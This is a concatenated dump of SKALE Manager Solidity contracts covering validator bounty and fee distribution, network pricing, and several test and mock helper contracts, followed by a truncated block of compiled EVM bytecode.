_firstUnwithdrawnMonth; // validatorId => month mapping (uint => uint) private _firstUnwithdrawnMonthForValidator; /** * @dev Return and update the amount of earned bounty from a validator. */ function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) { return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); } /** * @dev Allows msg.sender to withdraw earned bounty. Bounties are locked * until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed. * * Emits a {WithdrawBounty} event. * * Requirements: * * - Bounty must be unlocked. */ function withdrawBounty(uint validatorId, address to) external { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Bounty is locked"); uint bounty; uint endMonth; (bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); _firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth; IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require(skaleToken.transfer(to, bounty), "Failed to transfer tokens"); emit WithdrawBounty( msg.sender, validatorId, to, bounty ); } /** * @dev Allows `msg.sender` to withdraw earned validator fees. Fees are * locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed. * * Emits a {WithdrawFee} event. * * Requirements: * * - Fee must be unlocked. */ function withdrawFee(address to) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Fee is locked"); // check Validator Exist inside getValidatorId uint validatorId = validatorService.getValidatorId(msg.sender); uint fee; uint endMonth; (fee, endMonth) = getEarnedFeeAmountOf(validatorId); _firstUnwithdrawnMonthForValidator[validatorId] = endMonth; require(skaleToken.transfer(to, fee), "Failed to transfer tokens"); emit WithdrawFee( validatorId, to, fee ); } function tokensReceived( address, address, address to, uint256 amount, bytes calldata userData, bytes calldata ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); require(userData.length == 32, "Data length is incorrect"); uint validatorId = abi.decode(userData, (uint)); _distributeBounty(amount, validatorId); } /** * @dev Return the amount of earned validator fees of `msg.sender`. */ function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender)); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Return and update the amount of earned bounties. */ function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId) public returns (uint earned, uint endMonth) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId]; if (startMonth == 0) { startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId); if (startMonth == 0) { return (0, 0); } } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { uint effectiveDelegatedToValidator = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i); if (effectiveDelegatedToValidator.muchGreater(0)) { earned = earned.add( _bountyPaid[validatorId][i].mul( delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i)) .div(effectiveDelegatedToValidator) ); } } } /** * @dev Return the amount of earned fees by validator ID. */ function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId]; if (startMonth == 0) { return (0, 0); } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { earned = earned.add(_feePaid[validatorId][i]); } } // private /** * @dev Distributes bounties to delegators. * * Emits a {BountyWasPaid} event. */ function _distributeBounty(uint amount, uint validatorId) private { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint currentMonth = timeHelpers.getCurrentMonth(); uint feeRate = validatorService.getValidator(validatorId).feeRate; uint fee = amount.mul(feeRate).div(1000); uint bounty = amount.sub(fee); _bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty); _feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee); if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) { _firstUnwithdrawnMonthForValidator[validatorId] = currentMonth; } emit BountyWasPaid(validatorId, amount); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKGTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; contract SkaleDKGTester is SkaleDKG { function setSuccessfulDKGPublic(bytes32 schainId) external { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* NodesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../Nodes.sol"; contract NodesTester is Nodes { function removeNodeFromSpaceToNodes(uint nodeIndex) external { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); } function removeNodesFromPlace(uint place, uint nodesAmount) external { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); tree.removeFromPlace(place, nodesAmount); } function amountOfNodesFromPlaceInTree(uint place) external view returns (uint) { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); return tree.sumFromPlaceToLast(place); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price"); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity); uint loadDiff; if (networkIsOverloaded) { loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity)); } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100)); } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price); uint timeSkipped = now.sub(lastUpdated); uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice .mul(timeSkipped) .div(constantsHolder.COOLDOWN_TIME()) .div(capacity) .div(constantsHolder.MIN_PRICE()); if (networkIsOverloaded) { assert(priceChange > 0); price = price.add(priceChange); } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price.sub(priceChange); if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = now; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view returns (uint) { return _getTotalLoad().mul(100).div(_getTotalCapacity()); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = INITIAL_PRICE; } function checkAllNodes() public { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = schainsInternal.getSchainsPartOfNode(schain); load = load.add( numberOfNodesInSchain.mul(part) ); } return load; } function _getTotalCapacity() private view returns (uint) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE()); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternalMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SchainsInternal.sol"; contract SchainsInternalMock is SchainsInternal { function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external { delete placeOfSchainOnNode[schainHash][nodeIndex]; } function removeNodeToLocked(uint nodeIndex) external { mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains(); delete nodeToLocked[nodeIndex]; } function removeSchainToExceptionNode(bytes32 schainHash) external { mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes(); delete schainToException[schainHash]; } } // SPDX-License-Identifier: AGPL-3.0-only /* LockerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../interfaces/delegation/ILocker.sol"; contract LockerMock is ILocker { function getAndUpdateLockedAmount(address) external override returns (uint) { return 13; } function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { return 13; } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtilsTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; contract MathUtilsTester { using MathUtils for uint; function boundedSub(uint256 a, uint256 b) external returns (uint256) { return a.boundedSub(b); } function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) { return a.boundedSubWithoutEvent(b); } function muchGreater(uint256 a, uint256 b) external pure returns (bool) { return a.muchGreater(b); } function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) { return a.approximatelyEqual(b); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTreeTester.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../utils/SegmentTree.sol"; contract SegmentTreeTester { using SegmentTree for SegmentTree.Tree; SegmentTree.Tree private _tree; uint[129] private _places; function initTree() external { _tree.create(128); for (uint8 i = 1; i <= 128; i++) { if (_places[i] > 0) _tree.addToPlace(i, _places[i]); } } function addElemInPlaces(uint place, uint elem) external { _places[place] = elem; } function addToLast(uint elem) external { _tree.addToPlace(_tree.getSize(), elem); } function addToPlace(uint place, uint elem) external { _tree.addToPlace(place, elem); } function removeFromPlace(uint place, uint elem) external { _tree.removeFromPlace(place, elem); } function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external { _tree.moveFromPlaceToPlace(fromPlace, toPlace, elem); } function sumFromPlaceToLast(uint place) external view returns (uint) { return _tree.sumFromPlaceToLast(place); } function getRandomElem(uint place) external view returns (uint) { Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), place) ); return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator); } function getElem(uint index) external view returns (uint) { require(index < _tree.tree.length, "Incorrect index"); return _tree.tree[index]; } function getSize() external view returns (uint) { return _tree.getSize(); } }
0x608060405234801561001057600080fd5b50600436106103a45760003560e01c806390a98a89116101e9578063be59bdc11161010f578063c9e91c66116100ad578063d547741f1161007c578063d547741f1461081c578063d8f272e11461082f578063dcbaac6014610842578063f5dc544214610855576103a4565b8063c9e91c66146107d0578063ca15c873146107e3578063d31c48ed146107f6578063d45025f814610809576103a4565b8063c4d66de8116100e9578063c4d66de814610784578063c5e38a5f14610797578063c921ba68146107aa578063c94f9c3d146107bd576103a4565b8063be59bdc11461073e578063c1ab22641461075e578063c34da52414610771576103a4565b8063a1a1ca5e11610187578063ab4df71e11610156578063ab4df71e14610708578063b39e12cf1461071b578063b81c806a14610723578063b9f452471461072b576103a4565b8063a1a1ca5e146106c5578063a217fddf146106e5578063a4e69229146106ed578063a910ede3146106f5576103a4565b806394b2d6cb116101c357806394b2d6cb1461068457806396a0be4f1461068c5780639bcd95211461069f5780639f3e0c99146106b2576103a4565b806390a98a891461064b57806390e848c01461065e57806391d1485414610671576103a4565b80635990e3cb116102ce57806370d2fa181161026c57806389f102281161023b57806389f102281461060a5780638d3a0f19146106125780638e001b7c146106255780639010d07c14610638576103a4565b806370d2fa18146105b057806379fe6308146105d1578063819cdcd7146105e4578063822a5628146105f7576103a4565b8063636921cf116102a8578063636921cf14610557578063662cb7971461057757806366a709c91461058a5780636e23e8e51461059d576103a4565b80635990e3cb1461051e5780635b6b4185146105315780635c5030e214610544576103a4565b806322ef64fe1161034657806336568abe1161031557806336568abe146104c5578063378bb226146104d8578063427cd6a6146104eb578063446e847f146104fe576103a4565b806322ef64fe14610477578063248a9ca31461048c5780632f2ff15d1461049f57806336186464146104b2576103a4565b8063117066eb11610382578063117066eb146103fa578063125a0be21461041a5780631c53c2801461042f57806321c74e2414610457576103a4565b806303dd6c27146103a957806308e85aab146103d25780630bdeab23146103e7575b600080fd5b6103bc6103b7366004614f2c565b61085d565b6040516103c99190615337565b60405180910390f35b6103da6108be565b6040516103c9919061528c565b6103da6103f5366004614e52565b6108c4565b61040d610408366004614f2c565b6108d9565b6040516103c99190615315565b61042d610428366004614e52565b610a33565b005b61044261043d366004614f2c565b610ce0565b6040516103c99998979695949392919061536d565b61046a610465366004614f2c565b610dd4565b6040516103c99190615b5c565b61047f610e13565b6040516103c991906152d1565b6103da61049a366004614f2c565b610ea3565b61042d6104ad366004614f5c565b610ebb565b61040d6104c0366004614fac565b610f03565b61042d6104d3366004614f5c565b610f18565b61047f6104e6366004614f2c565b610f5a565b6103da6104f9366004614f8b565b6110e0565b61051161050c366004614f2c565b61110e565b6040516103c99190615295565b61040d61052c366004614f2c565b611173565b61040d61053f366004614f2c565b6111b9565b61042d610552366004614f2c565b6111cc565b61056a610565366004614f2c565b6112b1565b6040516103c9919061535a565b61042d610585366004614ff6565b61134c565b61042d610598366004614e8a565b611376565b61042d6105ab366004614f2c565b611c11565b6105c36105be366004614f2c565b611c73565b6040516103c9929190615c27565b61040d6105df366004614f2c565b611ca2565b61040d6105f236600461508b565b611cb5565b6103da610605366004614f2c565b611ee4565b6103da611f17565b61042d610620366004614f2c565b611f1d565b6103da610633366004614f2c565b612028565b610511610646366004614f8b565b612135565b6103da610659366004614f2c565b61215c565b61042d61066c366004614f8b565b61216e565b61040d61067f366004614f5c565b612653565b61042d612671565b61040d61069a366004614f2c565b612971565b61040d6106ad366004614f2c565b612986565b6103da6106c03660046150e7565b612999565b6106d86106d3366004614f2c565b612aa4565b6040516103c9919061534c565b6103da612adb565b6103da612ae0565b61040d610703366004614f2c565b612aff565b61042d610716366004614f8b565b612c45565b610511612d51565b6103da612d60565b61042d610739366004614f2c565b612d66565b61075161074c366004614f2c565b612dc8565b6040516103c991906152a9565b6103da61076c3660046150af565b612e2d565b61040d61077f366004614ee1565b612f53565b61042d610792366004614e52565b612f8c565b61042d6107a5366004614f2c565b613092565b6103da6107b8366004614f2c565b613177565b61042d6107cb36600461508b565b6131aa565b61040d6107de366004614f8b565b61338a565b6103da6107f1366004614f2c565b613622565b61056a610804366004614f2c565b613639565b6103da610817366004614f2c565b6136db565b61042d61082a366004614f5c565b61370e565b6103da61083d366004615133565b613748565b61040d610850366004614f2c565b613761565b6103da61386d565b60008161086981613873565b60985483106108935760405162461bcd60e51b815260040161088a906154cf565b60405180910390fd5b609883815481106108a057fe5b600091825260209091206009909102016001015460e01b9392505050565b60a15481565b609a6020526000908152604090206001015481565b6000816108e581613873565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b039091169063358177739061093a90859060040161535a565b60206040518083038186803b15801561095257600080fd5b505afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190614e6e565b6001600160a01b031614806109a257506109a2613897565b6109be5760405162461bcd60e51b815260040161088a90615a68565b6109c784611ca2565b6109e35760405162461bcd60e51b815260040161088a906159ae565b6109ec846138a3565b7f8e9cdcada96a3b4c59c283849ac36354d89bc5c6ea79a1034f5272e677a5dc928442425a604051610a219493929190615c0c565b60405180910390a15060019392505050565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b0390911690633581777390610a8890859060040161535a565b60206040518083038186803b158015610aa057600080fd5b505afa158015610ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad89190614e6e565b6001600160a01b03161480610af05750610af0613897565b610b0c5760405162461bcd60e51b815260040161088a90615a68565b60975460408051639cb83f5760e01b815290516000926001600160a01b031691639cb83f57916004808301926020929190829003018186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b899190614e6e565b90506000816001600160a01b031663bad21775856040518263ffffffff1660e01b8152600401610bb99190615295565b60206040518083038186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c099190614f44565b60405163f93c86f160e01b81529091506001600160a01b0383169063f93c86f190610c3890849060040161528c565b60206040518083038186803b158015610c5057600080fd5b505afa158015610c64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c889190614f0c565b610ca45760405162461bcd60e51b815260040161088a906156b7565b6000818152609f6020526040902054610cbe9082906138fa565b610cda5760405162461bcd60e51b815260040161088a90615664565b50505050565b60988181548110610ced57fe5b60009182526020918290206009919091020180546040805160026001841615610100026000190190931692909204601f810185900485028301850190915280825291935091839190830182828015610d865780601f10610d5b57610100808354040283529160200191610d86565b820191906000526020600020905b815481529060010190602001808311610d6957829003601f168201915b5050505060018301546004840154600585015460068601546007870154600890970154959660e085811b97640100000000870490911b9650600160401b90950461ffff169460ff9091169089565b600081610de081613873565b60988381548110610ded57fe5b6000918252602090912060099091020160010154600160401b900461ffff169392505050565b606060a05467ffffffffffffffff81118015610e2e57600080fd5b50604051908082528060200260200182016040528015610e58578160200160208202803683370190505b5090506000805b609854811015610e9e57610e7281611ca2565b15610e965780838381518110610e8457fe5b60209081029190910101526001909101905b600101610e5f565b505090565b6000818152606560205260409020600201545b919050565b600082815260656020526040902060020154610ed99061067f613b29565b610ef55760405162461bcd60e51b815260040161088a90615480565b610eff8282613b2d565b5050565b609b6020526000908152604090205460ff1681565b610f20613b29565b6001600160a01b0316816001600160a01b031614610f505760405162461bcd60e51b815260040161088a90615ac9565b610eff8282613b9c565b60606000609760009054906101000a90046001600160a01b03166001600160a01b0316639cb83f576040518163ffffffff1660e01b815260040160206040518083038186803b158015610fac57600080fd5b505afa158015610fc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe49190614e6e565b604051635be8c60f60e01b81529091506001600160a01b03821690635be8c60f9061101390869060040161528c565b60206040518083038186803b15801561102b57600080fd5b505afa15801561103f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110639190614f0c565b61107f5760405162461bcd60e51b815260040161088a906159dd565b6000838152609f6020908152604091829020805483518184028101840190945280845290918301828280156110d357602002820191906000526020600020905b8154815260200190600101908083116110bf575b5050505050915050919050565b609f60205281600052604060002081815481106110f957fe5b90600052602060002001600091509150505481565b60008161111a81613873565b61116c6098848154811061112a57fe5b6000918252602090912060408051808201918290529260090290910160029081019182845b81548152602001906001019080831161114f575050505050613c0b565b9392505050565b60008161117f81613873565b60035b6098848154811061118f57fe5b600091825260209091206007600990920201015460ff1660038111156111b157fe5b149392505050565b6000816111c581613873565b6001611182565b604080518082018252600f81526e14d8da185a5b9cd25b9d195c9b985b608a1b60208201526097549151633581777360e01b8152909133916001600160a01b039091169063358177739061122490859060040161535a565b60206040518083038186803b15801561123c57600080fd5b505afa158015611250573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112749190614e6e565b6001600160a01b0316148061128c575061128c613897565b6112a85760405162461bcd60e51b815260040161088a90615a68565b610eff82613c93565b60a36020908152600091825260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156113445780601f1061131957610100808354040283529160200191611344565b820191906000526020600020905b81548152906001019060200180831161132757829003601f168201915b505050505081565b816113578133613cfe565b600083815260a3602090815260409091208351610cda92850190614d05565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b03909116906335817773906113cb90859060040161535a565b60206040518083038186803b1580156113e357600080fd5b505afa1580156113f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141b9190614e6e565b6001600160a01b031614806114335750611433613897565b61144f5760405162461bcd60e51b815260040161088a90615a68565b61145f6040830160208401614fac565b6001600160e01b031916158015906114a65750609b60006114866040850160208601614fac565b6001600160e01b031916815260208101919091526040016000205460ff16155b6114c25760405162461bcd60e51b815260040161088a90615578565b609c60006114d08480615c3a565b6040516020016114e19291906151de565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff16156115275760405162461bcd60e51b815260040161088a90615703565b60006115396080840160608501614fd4565b61ffff161161155a5760405162461bcd60e51b815260040161088a90615a42565b6040805180820182526115889160808501906002908390839080828437600092019190915250613c0b915050565b6001600160a01b0316836001600160a01b0316146115b85760405162461bcd60e51b815260040161088a9061586f565b609754604051633581777360e01b81526000916001600160a01b0316906335817773906115e790600401615a9f565b60206040518083038186803b1580156115ff57600080fd5b505afa158015611613573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116379190614e6e565b6001600160a01b031663bad21775856040518263ffffffff1660e01b81526004016116629190615295565b60206040518083038186803b15801561167a57600080fd5b505afa15801561168e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b29190614f44565b609754604051633581777360e01b81529192506000916001600160a01b03909116906335817773906116e6906004016155be565b60206040518083038186803b1580156116fe57600080fd5b505afa158015611712573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117369190614e6e565b6001600160a01b031663c83ee0b36040518163ffffffff1660e01b815260040160206040518083038186803b15801561176e57600080fd5b505afa158015611782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a691906150cb565b604080516101408101909152909150609890806117c38780615c3a565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050908252506020908101906118109060408901908901614fac565b6001600160e01b031916815260200161182f6060880160408901614fac565b6001600160e01b031916815260200161184e6080880160608901614fd4565b61ffff1681526020018660800160028060200260405190810160405280929190826002602002808284376000920182905250928452505043602083015242604083015260608201819052608090910190815260209081018590528254600181018455600093845292819020825180519394600902909101926118d39284920190614d05565b5060208201516001820180546040850151606086015161ffff16600160401b0269ffff00000000000000001960e092831c6401000000000267ffffffff00000000199690931c63ffffffff199094169390931794909416171691909117905560808201516119479060028084019190614d7f565b5060a0820151600482015560c0820151600582015560e0820151600682015561010082015160078201805460ff1916600183600381111561198457fe5b021790555061012091909101516008909101556098546000906119ae90600163ffffffff613e4416565b6000848152609f6020908152604082208054600181018255908352908220018290559091506119dd8680615c3a565b6040516020016119ee9291906151de565b6040516020818303038152906040528051906020012090506001609b6000886020016020810190611a1f9190614fac565b6001600160e01b031916815260208082019290925260409081016000908120805494151560ff19958616179055848152609c8352818120805485166001908117909155609d84528282208790556001600160a01b038c16808352609a8086528484208985528087529484208054909716831790965590915292909152810180549091019055611ab160e0870187615c3a565b600084815260a360205260409020611aca929091614dac565b5060408051808201825260ff8581168083526000908152609e60209081529381205493830193845260998054600181018255915291517f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d006002909302928301805460ff19169190921617905590517f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d0190910155611b6682613e86565b7f35f7d91038129af2b1e202a610494003ffff3504d3e756245a2101b1be8bf3828288611b938980615c3a565b611ba360408c0160208d01614fac565b611bb360608d0160408e01614fac565b611bc360808e0160608f01614fd4565b8d60c0016020810190611bd69190614fd4565b8e8060e00190611be69190615c3a565b425a604051611c009c9b9a99989796959493929190615b6b565b60405180910390a150505050505050565b80611c1c8133613cfe565b600060988381548110611c2b57fe5b600091825260209091206007600990920201015460ff166003811115611c4d57fe5b14611c6a5760405162461bcd60e51b815260040161088a90615412565b610eff82613f35565b60998181548110611c8057fe5b60009182526020909120600290910201805460019091015460ff909116915082565b600081611cae81613873565b6000611182565b600082611cc181613873565b604080518082018252600c81526b2737b232a937ba30ba34b7b760a11b60208083019190915282518084018452600f81526e14d8da185a5b9cd25b9d195c9b985b608a1b918101919091526097549251633581777360e01b81529192909133916001600160a01b031690633581777390611d3f90869060040161535a565b60206040518083038186803b158015611d5757600080fd5b505afa158015611d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8f9190614e6e565b6001600160a01b03161480611e2a5750609754604051633581777360e01b815233916001600160a01b031690633581777390611dcf90859060040161535a565b60206040518083038186803b158015611de757600080fd5b505afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f9190614e6e565b6001600160a01b0316145b80611e385750611e38613897565b611e5457